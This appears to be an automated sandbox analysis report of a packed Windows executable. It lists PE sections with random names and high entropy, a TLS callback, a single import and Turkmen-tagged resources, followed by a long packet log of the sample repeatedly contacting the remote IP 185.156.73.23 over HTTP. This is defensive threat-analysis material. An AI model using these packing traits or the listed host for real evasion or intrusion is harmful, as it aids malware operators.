jmp 00007FF4C0DB26B5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41805b	0x6f	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40d000	0xaea0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x85ca14	0x18	ghfuhyhn
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40c000	0x24e00	82efd66aa8d99c7fb4075aa71cdd40c1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40d000	0xaea0	0x7000	ee3e383c9ec1c23d421587b65b352add	False	0.967529296875	data	7.899830738520883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x418000	0x1000	0x200	b8539b83d0b3f253ed2a56b71af0554b	False	0.154296875	data	1.085758102617974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x419000	0x29f000	0x200	350d3576d38a8c1701147781254247ca	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ghfuhyhn	0x6b8000	0x1ac000	0x1ab800	e2182f3bd49f667d1c8cfb5b2e6716f3	False	0.9900847496345029	data	7.948515761931662	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ddcmvylx	0x864000	0x1000	0x400	77f0712864505570a010286de14906b3	False	0.7607421875	data	5.971976126874622	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x865000	0x3000	0x2200	0bfb180e0bdd739508934bf583c338aa	False	0.07261029411764706	DOS executable (COM)	0.7996868000437451	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x85ca74	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkmen	Turkmenistan	0.7971748400852878
RT_ICON	0x85d91c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkmen	Turkmenistan	0.7838447653429603
RT_ICON	0x85e1c4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkmen	Turkmenistan	0.7200460829493087
RT_ICON	0x85e88c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkmen	Turkmenistan	0.740606936416185
RT_ICON	0x85edf4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkmen	Turkmenistan	0.6840248962655602
RT_ICON	0x86139c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkmen	Turkmenistan	0.7345215759849906
RT_ICON	0x862444	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkmen	Turkmenistan	0.7622950819672131
RT_ICON	0x862dcc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkmen	Turkmenistan	0.8111702127659575
RT_STRING	0x413c80	0x330	data			0.8357843137254902
RT_STRING	0x413fb0	0x170	data			0.15
RT_STRING	0x414120	0x620	empty			0
RT_STRING	0x414740	0x762	empty			0
RT_STRING	0x414ea4	0x852	empty			0
RT_STRING	0x4156f8	0x726	empty			0
RT_STRING	0x415e20	0x658	empty			0
RT_STRING	0x416478	0x6c0	empty			0
RT_STRING	0x416b38	0x638	empty			0
RT_STRING	0x417170	0x88a	empty			0
RT_ACCELERATOR	0x4179fc	0x20	empty			0
RT_GROUP_ICON	0x863234	0x76	data	Turkmen	Turkmenistan	0.6610169491525424
RT_VERSION	0x8632aa	0x1b4	data			0.5711009174311926
RT_MANIFEST	0x86345e	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkmen	Turkmenistan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:27:43.944669962 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:44.064451933 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:44.064579964 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:44.064897060 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:44.184473991 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:45.458590031 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:45.458709002 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:45.476959944 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:45.596476078 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:45.956413984 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:45.956516981 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.019958019 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.140743017 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.576726913 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.576798916 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.576823950 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.576865911 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.576893091 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.576939106 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.577147007 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.577183008 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.577203989 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.577235937 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.577258110 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.577291012 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.577311993 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.577339888 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.577366114 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.577433109 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.585448980 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.585486889 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.585525990 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.585565090 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.593570948 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.593709946 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.594172001 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.594222069 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.696548939 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.696630001 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.773195982 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.773283958 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.773515940 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.773555040 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.777055979 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.777110100 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.777196884 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.777237892 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.785209894 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.785298109 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.785332918 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.785375118 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.793196917 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.793263912 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.793474913 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.793519020 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.801306963 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.801369905 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.801758051 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.801812887 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.809209108 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.809293985 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.809319973 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.809375048 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.817275047 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.817341089 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.817359924 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.817379951 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.824959040 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.825064898 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.825927973 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.825975895 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.833278894 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.833348989 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.834172010 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.834227085 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.840761900 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.840840101 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.840936899 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.840979099 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.845206976 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.845218897 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.845277071 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.855262995 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.855357885 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.855655909 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.855711937 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.961142063 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.961159945 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.961211920 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.961227894 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.963634014 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.963752985 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.963769913 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.963812113 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.969212055 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.969228983 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.969274044 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.969299078 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.973661900 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.973726988 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.973912954 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.973956108 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.979240894 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.979254961 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.979295969 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.979324102 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.984230042 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.984242916 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.984272957 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.984293938 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.988353968 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.988365889 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.988392115 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.988409996 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.993102074 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.993115902 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.993170977 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.993170977 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:46.998672009 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.998686075 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:46.998722076 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.002262115 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.002274990 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.002321005 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.006846905 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.006892920 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.008738995 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.008783102 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.011763096 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.011816978 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.014297962 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.014354944 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.016201019 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.016212940 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.016251087 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.020741940 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.020811081 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.021178007 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.021215916 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.025465012 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.025479078 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.025512934 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.025532007 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.030184031 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.030196905 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.030231953 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.030253887 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.034703970 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.034749031 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.035195112 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.035233974 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.039361000 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.039414883 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.040277958 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.040330887 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.043919086 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.043967962 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.043993950 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.044028997 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.153755903 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.153811932 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.153882027 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.153932095 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.155458927 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.155525923 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.155540943 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.155574083 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.159389973 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.159426928 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.159475088 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.159476042 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.196486950 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:47.316857100 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.688838005 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:47.688915014 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:49.712641954 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:49.832411051 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:50.203351974 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:50.203424931 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:52.244314909 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:52.363895893 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:52.741736889 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:52.741805077 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:54.810832977 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:54.931622028 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:55.323008060 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:55.323156118 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:57.384776115 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:27:57.505588055 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:57.871454954 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:27:57.871589899 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:00.071836948 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:00.191586971 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:00.560297012 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:00.560458899 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:02.603395939 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:02.722986937 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:03.089714050 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:03.089881897 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:05.118959904 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:05.239454985 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:05.604530096 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:05.604954004 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:07.649903059 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:07.769716978 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:08.133121967 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:08.133244991 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:10.165901899 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:10.285584927 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:10.651566029 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:10.651712894 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:12.682785988 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:12.802618980 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:14.202186108 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:14.202320099 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:17.290843964 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:17.410696030 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.011960983 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.012065887 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.012080908 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.012105942 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.013684988 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.014051914 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.014106035 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.017234087 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.017337084 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.017406940 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.020797968 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.021064043 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.021117926 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.024316072 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.024384022 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.024528027 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.024580002 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.027813911 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.028500080 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.028637886 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.098061085 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.098100901 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.098270893 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.099714041 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.099780083 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.099831104 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.099878073 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.103328943 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.103492975 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.103575945 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:18.105353117 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:18.105424881 CET	80	49730	185.156.73.23	192.168.2.4
